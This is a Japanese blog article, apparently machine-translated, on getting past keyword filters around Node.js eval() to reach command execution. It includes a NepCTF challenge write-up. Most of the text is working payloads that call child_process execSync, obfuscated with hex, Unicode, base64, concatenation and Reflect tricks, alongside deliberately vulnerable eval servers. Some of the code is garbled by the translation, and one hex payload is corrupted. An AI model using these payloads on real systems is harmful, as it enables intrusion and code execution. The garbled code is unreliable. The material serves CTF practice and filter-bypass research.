Node.js コード実行をバイパスするためのヒントのまとめ

Node.js コード実行をバイパスするためのヒントのまとめ

PHP では、eval コードの実行はよく知られたトピックであり、PHP コードの実行を回避するためにさまざまなトリックが使用されています。この記事では主に、Node.js でのバイパスのアイデアについて説明します。

1. 子プロセス

まず、システム コマンドを実行するために使用される nodejs の child_process モジュールを紹介します。 Nodejs は、child_process モジュールを使用して複数の子プロセスを生成し、他の処理を行います。 child_process には、execFileSync、spawnSync、execSync、fork、exec、execFile、spawn の 7 つのメソッドがあり、これらすべてのメソッドは spawn() メソッドを使用します。 fork は別の子プロセス ファイルを実行するため、fork 以外の関数の使用方法を次に示します。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //実行可能ファイルを呼び出し、2番目のパラメータに引数を渡す
'child_process' を要求します。'sleep'、['3'] を生成します。
必要("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

実際には、さまざまな関数が下部で spawn を呼び出します。興味がある場合は、ソース コードに従って確認することができます。

const child = spawn(ファイル, args, {
  cwd: オプション.cwd、
  env: オプション.env、
  gid: オプション.gid、
  uid: オプション.uid、
  シェル: オプション.shell、
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

2. nodejsでのコマンド実行

コードの実行をデモンストレーションするために、次のコードを使用して最小限のサーバーを作成しました。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({extended: true })) を使用します。
app.post('/', 関数(req, res) {
    コード = req.body.code;
    console.log(コード);
    res.send(eval(コード));
})

アプリを聴く(3000)

原理は非常に単純で、post メソッドによって渡されたコード パラメータを受け取り、eval(code) の結果を返します。

nodejs では、コードを実行するために eval() 関数も使用されます。上記の rce 関数の場合、まずコードを使用して rce を実行するための次のコードを取得できます。

以下のコマンドはすべて curl ローカル ポートを使用して実行されます。

eval('require("child_process").execSync("curl 127.0.0.1:1234")')

これは最も単純なコード実行状況です。もちろん、一般的に、開発者が eval を使用して、ユーザー入力をレイヤーごとに受け入れる可能性のあるポイントを呼び出す場合、ユーザー入力が直接入力されるのではなく、何らかのフィルタリングが行われます。たとえば、exec キーワードがフィルタリングされている場合、それをバイパスするにはどうすればよいでしょうか?

もちろん、実際にはそれほど簡単ではありません。この記事ではアイデアについてのみ説明しています。実際のフィルタリングされたキーワードに応じて変更できます。

以下は、通常のチェックexecキーワードを追加した、わずかに変更されたサーバーコードです。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

関数validcode(入力) {
  var re = new RegExp("exec");
  re.test(入力) を返します。
}

app.use(bodyParser.urlencoded({extended: true })) を使用します
app.post('/', 関数(req, res) {
  コード = req.body.code;
  console.log(コード);
  if (validcode(code)) {
    res.send("禁止です!")
  } それ以外 {
    res.send(eval(コード));
  }
})

アプリを聴く(3000)

アプローチは 6 つあります。

  • 16進エンコード
  • ユニコードエンコーディング
  • プラス記号の連結
  • テンプレート文字列
  • concat関数接続
  • base64エンコード

2.1 16進数エンコード

最初のアイデアは、16 進エンコードです。その理由は、Node.js では、文字列に 16 進数が使用されている場合、この 16 進数の ASCII コードに対応する文字が同等であるためです (最初の反応は MySQL に少し似ています)。

コンソールログ("a"==="\x61");
// 真実

ただし、上記の正規表現に一致する場合、16 進数は文字に変換されないため、正規表現の検証をバイパスできます。だから合格できる

必要("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 ユニコードエンコーディング

考え方は上記と似ています。JavaScript では Unicode 文字をコード ポイントで直接表現できるため、記述方法は「バックスラッシュ + u + コード ポイント」となり、Unicode 形式の文字を使用して対応する文字を置き換えることもできます。

コンソールログ("\u0061"==="a");
// 真実
必要("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 プラス記号の連結

原理は非常に簡単です。プラス記号はjs内の文字を接続するために使用できるので、次のようにすることができます。

'child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234') が必要です

2.4 テンプレート文字列

関連コンテンツについてはMDNを参照してください。ペイロードはこちら

テンプレートリテラルは、埋め込み式を許可する文字列リテラルです。複数行の文字列と文字列補間を使用できます。

'child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') が必要です

2.5 連結

文字列を接続するには、jsのconcat関数を使用します。

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 base64 エンコーディング

これはもっと従来的な考え方であるべきです。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

3. その他のバイパス方法

この部分は主に考え方を変えることについてです。上記の方法の最終的なアイデアは、エンコードまたはスプライシングを通じて exec キーワードを取得することです。この部分では、js のいくつかの構文と組み込み関数について検討します。

3.1 オブジェクト.キー

実は、require でインポートしたモジュールは Object なので、Object 内のメソッドを使って操作したり内容を取得したりすることができます。 Object.valuesを使用してchild_process内のさまざまな関数メソッドを取得し、配列の添え字を介してexecSyncを取得できます。

console.log(require('child_process').constructor===オブジェクト)
//真実
オブジェクト.values(require('child_process'))[5]('curl 127.0.0.1:1234')

3.2 反映

js では、関数呼び出しのリフレクション メソッドを実装するには、Reflect キーワードを使用する必要があります。たとえば、eval関数を取得するには、まずReflect.ownKeys(global)ですべての関数を取得し、次にglobal[Reflect.ownKeys(global).find(x=>x.includes('eval'))]でevalを取得します。

console.log(Reflect.ownKeys(グローバル))
//すべての関数を返す console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//評価を取得

評価を取得した後は、従来の考え方でrceを使用できます

グローバル[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

ここで検出される可能性のあるキーワードもありますが、mainModule、global、child_process などのキーワードはすべて文字列内にあるため、16 進数などの前述の方法を使用してエンコードできます。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

ここにちょっとしたコツがあります。eval キーワードをフィルタリングすると、includes('eva') を使用して eval 関数を検索したり、startswith('eva') を使用して検索したりできます。

3.3 フィルタリング括弧

3.2 では、eval を取得する方法は、角括弧 [] を使用するグローバル配列を介して行われます。角括弧がフィルターされている場合は、Reflect.get を使用してそれをバイパスできます。

Reflect.get(target, propertyKey[, received]) の関数は、target[name] と同様に、オブジェクトのプロパティの値を取得することです。

したがって、eval関数を取得する方法は次のようになります。

Reflect.get(グローバル、Reflect.ownKeys(グローバル).find(x=>x.includes('eva')))

次に、コマンド実行のペイロードをつなぎ合わせるだけです。

4. NepCTFゲームjs

このトピックの最初のステップはプロトタイプ チェーン汚染であり、2 番目のステップは eval コマンドの実行です。この記事では主に eval のバイパス方法について説明しているため、プロトタイプ チェーン汚染は削除され、バイパスの後半部分のみについて説明します。コードは次のように簡略化されます。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

var validCode = 関数 (func_code) {
  validInput を /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig; とします。
  !validInput.test(func_code) を返します。
};

app.use(bodyParser.urlencoded({extended: true })) を使用します。
app.post('/', 関数(req, res) {
  コード = req.body.code;
  console.log(コード);
  if (!validCode(コード)) {
    res.send("禁止です!")
  } それ以外 {
    var d = '(' + コード + ')';
    res.send(eval(d));
  }
})

アプリを聴く(3000)

キーワードは一重引用符と二重引用符を除外するため、ここではすべてバックティックに置き換えることができます。 Reflect を除外せずに、リフレクションを使用して関数を呼び出し、RCE を実現することを検討してください。上記のポイントを使用して、予期しないペイロードを徐々に構築できます。まず、child_process と require キーワードがフィルタリングされるので、実行する前に base64 でエンコードしようと思いました。

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

Base64はここでフィルタリングされ、直接置き換えることができます。

`base`.concat(64)


バッファをフィルタリングした後、それを次のように置き換えることができます。

Reflect.get(グローバル、Reflect.ownKeys(グローバル).find(x=>x.startsWith(`Buf`)))

Buffer.fromメソッドを取得するには、添え字を使うことができます。

オブジェクト.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

しかし、問題はキーワードが括弧もフィルタリングすることです。これは簡単です。Reflect.getの別のレイヤーを追加するだけです。

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

基本的なペイロードは

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

しかし、問題は、このように渡した後、eval はデコードされたコンテンツを実行するのではなく、デコードのみを行うため、別の eval レイヤーが必要になることです。eval キーワードはフィルター処理されるため、リフレクションを使用して eval 関数を取得することも検討します。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

Buffer.from を取得できる場合は、16 進エンコードでも同様です。

refrect.get(global、riffer.ownkeys(global)find(x => x.includes( 'eva'))) 6E4D6F64756C652E636F6E7374727563746F722E5F6C6F616428226368696C6C645F70726F636573733222292E65757533796E636E636E6363636E 2E302E302E313A313233342229`、 `he`.concat(` x`))。toString()))

もちろん、上で述べた 16 進数と文字列の特性により、eval 後に 16 進文字列を直接渡すこともできます。

refrect.get(global、refrect.ownkeys(global).find(x => x.includes( `eva`)))(` \ x67 \ x6c \ x6f \ x62 \ x61 \ x6c \ x2e \ x70 \ x72 \ x6f \ x63 x65 \ x65 \ x73 x 61 \ x69 \ x6e \ x4d \ x6f \ x64 \ x75 \ x6c \ x65 \ x2e \ x63 \ x6f \ x6e \ x73 \ x74 \ x72 \ x75 \ x63 \ \ x74 \ x6f \ x72 \ x61 \ x64 \ x28 \ x22 \ x63 \ x68 \ x69 \ x6c \ x64 \ x5f \ x70 \ x72 \ x6f \ x63 \ x65 \ x73 \ x73 \ x22 \ x29 x29 \ x2e \ x65 \ x65 \ x65 \ x65 53 \ x79 \ x6e \ x63 \ x28 \ x22 \ x63 \ x75 \ x72 \ x6c \ x20 \ x31 \ x32 \ x37 \ x2e \ x30 \ x2e \ x30 \ x2e \ x31 \ x34 \ x34 \ x34 \ X34 \ X34 \ X34 22 \ x29`)

nodejs の文字列処理方法は柔軟すぎる気がします。eval が可能な場合は、フィルタリングに文字列ブラックリストを使用しない方がよいでしょう。

助けてくれたフロントエンドの兄弟、semesseに感謝します

参考リンク

https://xz.aliyun.com/t/9167
キャンプ

要約する

これで、Node.js コード実行バイパスのヒントに関するこの記事は終了です。Node.js コード実行バイパスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • NodeJs の高メモリ使用量のトラブルシューティング実戦記録
  • Nodejs 組み込み暗号化モジュールを使用してピアツーピアの暗号化と復号化を実現する詳細な説明
  • Node.js の非同期イテレータの詳細な説明
  • Node.js組み込みモジュールの詳細な説明
  • Nodejs モジュール システムのソースコード分析
  • JS と Nodejs におけるイベント駆動型開発についての簡単な説明
  • Nodejs でモジュール fs ファイルシステムを使用する方法
  • Nodejs 探索: シングルスレッドの高並行性の原理を深く理解する
  • Nodejs エラー処理プロセス記録
  • Node.js を使用して C# のデータ テーブル エンティティ クラス生成ツールを作成する方法

<<:  MySQL アップグレードのベストプラクティス

>>:  USE DB 輻輳に対する MySQL ソリューションの詳細な説明

推薦する

Docker コマンドラインの完全ガイド (知っておくべき 18 のこと)

序文Docker イメージは Dockerfile といくつかの必要な依存関係で構成され、Docke...

MYSQLでプロシージャの名前を変更する方法の詳細な説明

最近、ストアド プロシージャの名前を変更する機能を使用しました。インターネットで情報を検索しましたが...

Spring Boot のパッケージ化と Docker リポジトリへのアップロードの詳細な手順

重要な注意: この記事を読む前に、Docker コンテナに関する知識と、一般的な Docker 操作...

Nginx/Httpd リバース プロキシ Tomcat 設定チュートリアル

以前のブログでは、Tomcatのサーバーの各コンポーネントの使用について学びました。 Tomcatは...

HTMLとXHTML、HTML4とHTML5のタグの違いについて簡単に紹介します。

HTML と XHTML の違い1. XHTML要素は正しくネストされている必要がある2. XHT...

LinuxにMySQLをインストールし、外部ネットワークアクセスを構成する例

設定手順1. DNSが設定されているかどうかを確認するDNSが設定されていない場合は、前の記事を参照...

count(1)、count(*)、count(列名)の実行の違いの詳細な説明

実施効果: 1. count(1) と count(*)テーブル内のデータ量が多い場合、テーブルを分...

MySQLとRedisでセカンダリキャッシュを実装する方法の詳細な説明

Redis の紹介Redis は完全にオープンソースで無料であり、BSD プロトコルに準拠しており、...

Docker ベースの MySQL マスタースレーブ レプリケーションを実装する方法

序文MySQL マスター/スレーブ レプリケーションは、アプリケーションの高パフォーマンスと高可用性...

Vite2とVue3を使用したウェブサイトの国際化を実現するプロセス全体

目次序文vue-i18nをインストールするロケールの設定getLangs.js の実装i18nインス...

Linux サーバーの状態を監視する方法

私たち、特に Linux エンジニアは毎日 Linux サーバーを扱っています。サーバーのセキュリテ...

MySQL 5.7 で my.ini ファイルが見つからない場合の解決策

my.ini とは何ですか? my.ini は、MySQL データベースで使用される設定ファイルです...

mysql5.7.17 zip の解凍とインストールの詳細な手順

1. ダウンロードアドレスhttps://dev.mysql.com/downloads/mysql...

Dockerコンテナ内の設定ファイルの変更の実装

1. コンテナに入るdocker run [オプション] イメージ名 [起動コンテナに渡されるコマン...

HTML での Li タグの使用例

タイトルを左に、日付を右に揃えたいのですが、日付の範囲に float:right を直接追加すると、...